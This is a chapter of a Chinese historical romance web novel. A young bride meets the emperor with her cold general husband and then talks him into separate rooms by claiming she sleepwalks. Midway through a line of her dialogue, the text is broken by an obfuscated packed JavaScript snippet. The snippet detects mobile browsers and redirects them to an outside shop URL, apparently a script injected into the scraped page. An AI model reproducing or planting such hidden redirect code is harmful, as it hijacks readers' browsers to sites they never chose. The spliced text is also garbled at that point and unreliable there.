她气得将卫山骂了一顿,火急火燎地进了屋。进屋一看,班瑛还在打呼,燕云悠也睡得香甜。 江嬷嬷两眼一黑,回过神后,又小心将燕云悠检查了一遍。 见她面色红润,没有受伤的迹象,才放下心来。 “容将军岂是那好相与的?我的小姐,明日可不敢再如此大意。” 燕云悠打了个呵欠,任由江嬷嬷念叨。江嬷嬷还要骂班瑛,被她拦住了。 “是我让班瑛放心睡的,嬷嬷你别怪她,昨夜发生了一些事儿,待会儿我与你说一说,你就明白了。” 不一会儿,幼萍和幼梨端着热水和早食过来了。 燕云悠心里有了主意,准备吃完早食就去找容寻。谁知她还未去,容寻先回来了。 “待会儿随我进宫。” 容寻话音落下,燕云悠身子一僵:“进宫做什么?” “陛下昨日交待,今日带你进宫看看。” 燕云悠又怕又恼。这么重要的事儿也不提前说,她今日若是睡到下午,那就让皇帝等着? 她敢怒不敢言,瞥了容寻一眼,乖巧应声:“那你等等我,我再换身衣裳。” * 燕云悠换了身更庄重些的衣裳,跟着容寻出门。 马车在前院等着,从正院到前院这一路,她气喘吁吁,几乎上气不接下气。 她一贯是慢悠悠的,可容寻走得太快了,虽未出声催促,但眼神已有些不耐烦,她不得不加快速度。 终于走到前院,燕云悠累得双腿发软,上马车时没踩稳,身子霎时往后倾倒。 垫脚的木阶颇高,她以为要摔了,吓得小脸煞白,直到落入一个宽厚的怀抱。 容寻不知怎么移到了她身后,正好接住了她。 燕云悠的脊背贴着容寻的胸膛,已能感受到容寻身上的温度,一条结实有力的手臂环在她腰间,火热的手掌握着她的腰身,两人近得她能嗅到容寻身上的气息。 燕云悠心头一颤,面颊涨红,连忙挣开容寻的手站好。 “多谢。”她小声道。 容寻侧开头,方才的不耐烦已不见踪影,他喉头滚动,淡淡道:“上车。” * 因为这一个小意外,两人都有些不自在,一路无话。 皇宫内不能坐马车,到了东安门,两人从马车上下来,容寻带着燕云悠步行进宫,这回却放缓了脚步。 燕云悠不是第一回进宫了,但仍是有些紧张。 上回过来隐在人群中,皇后压根注意不到,这回却是和容寻两个人去见皇帝。 她不怕皇帝,但怕死,实在放松不下来。 一路胡思乱想,走了约莫两刻钟,总算是到了,原来是帝后二人一起在坤宁宫见她们。 宫人进去通报,很快便出来让他们进去了。 宣武帝正值壮年,气度威严,目光如炬,看燕云悠时带着不易察觉的挑剔。 皇后倒是出人意料的亲和,同燕云悠说了几句家常,给她赏了一匣子南珠,还道: “陛下同你们父亲情同手足,容寻和二皇子自小一起长大,也同亲兄弟一般,二皇子妃与你差不了几岁,想来是有话说的,你得了空不妨多去寻她玩耍,莫要生分了。” 燕云悠受宠若惊,不敢不应。 说完话,又赐了宴,才放他们回去。 * 这回的宫宴比上回的好吃,但燕云悠还是暗暗祈祷皇帝少召她进宫。 每句话都要再三斟酌的滋味真是难受,今日这活计不比昨日轻松。 出宫又走了半个时辰,燕云悠累得不行,回去的路上,恨不得瘫在马车上。 容寻这马车跟他的人一样,又冷又硬,座椅上也不曾垫几个厚软的垫子,走到颠簸路段简直能把屁股底下那块骨头颠碎。 来时颠了一遍,回去时又要颠一遍,燕云悠觉得自己像油锅中的一尾小鱼,马上就要被颠散架了。 她手扶着窗棱,脑袋倚着手臂,咬了咬唇。 容寻看了她一眼,似乎不理解她为何这幅状态。 燕云悠心头一动:“夫君……” 容寻身子一僵,似乎有些不习惯这个称号,最后皱了皱眉,道:“何事?” “昨夜我陷入梦中,惊扰了夫君,实在是对不住。”燕云悠觑着容寻的面色,装出一副可怜巴巴的表情。 容寻眉毛皱得更深了:“罢了。” “夫君事务繁忙,晚上休息不好可不行。可我一贯有那梦游的毛病,昨日还算轻的,原先还会打人呢!” 容寻眼神冰冷:“昨日也打了。” “是吗?”燕云悠一脸无辜,“那可怎么办才好呢?” 容寻眯了眯眼睛:“你待如何?” 燕云悠也觉得自己有些做作了,她看着容寻,不好意思地笑了笑:“要不夫君给我另寻个住处吧?虽然十分舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315205|198932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得夫君,但是还是夫君的身体要紧!待我将这梦游的病症治好了,再好生陪伴夫君?” 话落,燕云悠紧张地攥紧了衣袖。 容寻定定地看着她:“好。” 万万没想到,他这么轻易就答应了,燕云悠喜不自胜,一时连身上的痛都忘了。 看来她猜的没错,容寻果然是被迫娶她的。 她笑得眉眼弯弯,面上是藏不住的高兴:“多谢夫君!” 一阵微风掀开车帘,细碎的阳光洒到燕云悠侧脸上,衬得她愈发白皙。她今日穿了一身淡粉的软缎长裙,外罩月白长衫,像一株含苞待放的芙蓉。 容寻有一瞬间的恍神,很快又移开了目光。 * 马车在将军府的角门前缓缓停下,燕云悠想到下了马车还要走上一刻钟,顿时叫苦不迭。 今日走的路快比她从前半月还多了。 她脑子里天人交战,最后心一横,在容寻下马车时拉住了他的衣袖。 “夫君,昨日我坐的那顶软轿可还在?” 容寻的目光落在她的手上,面无表情道:“那是礼部从宫中借的,还回去了。” “哦。”燕云悠默默收回手,眼里光熄灭了。 “但府里还有一顶。”容寻瞥了她一眼,缓声道。 “真的?”燕云悠双眼放光,面带祈求地看着容寻,“可以借我用用吗?我实在是走不动了……” * 很快,燕云悠要的软轿来了。 这顶轿子十分朴素,据说是赵嬷嬷用过的。抬轿子的除了卫山几个,还有班瑛她们昨日提过的余昭。 燕云悠瞥见余昭脸上的伤,心中微动,多瞧了两眼,余昭立刻侧开了脸。 燕云悠没再多看。 容寻还有正事要忙,没与她一起回去。她坐着轿子回到后院,江嬷嬷她们立刻将她扶到了床上。 幼梨给她揉肩捶背,幼萍打了水来给她热敷。 燕云悠腰酸背痛,但心情极好,迫不及待与江嬷嬷、班瑛她们说了要与容寻分房睡的事儿。 几人都为她欢喜。 江嬷嬷原先就盼着燕云悠能嫁个如意郎君,可燕云悠被皇帝指给了容寻,她便只求燕云悠平安了。 “你们都记着,我原先就有梦游的毛病,千万别在容寻面前说漏嘴了。” 其实燕云悠和容寻说的也不全是假话,许是前段日子压力太大,她确实在伯府便出现过梦魇的症状了,不过没有梦游那么严重,只是说过两回梦话。 几人串了一下词,又说起了旁的。 “少爷昨日喝醉了,宿在将军府的,今日上午你们走后才回去,是卫山送的。” ‘少爷’说的是她哥哥,燕云悠轻哼一声,道:“算他还有点儿哥哥模样。” 燕从己应当是放心不下,昨日装醉留在将军府,今早得了信,知道燕云悠平安无事才走。 幼萍笑了笑,又道:“宋小姐下午送了请柬来,邀您过两日去白府呢。” 燕云悠点点头,眼里漾起笑意。 ‘宋小姐’说的是宋瑶岑,宋瑶岑是兵部侍郎的幺妹,也是燕云悠的闺中好友。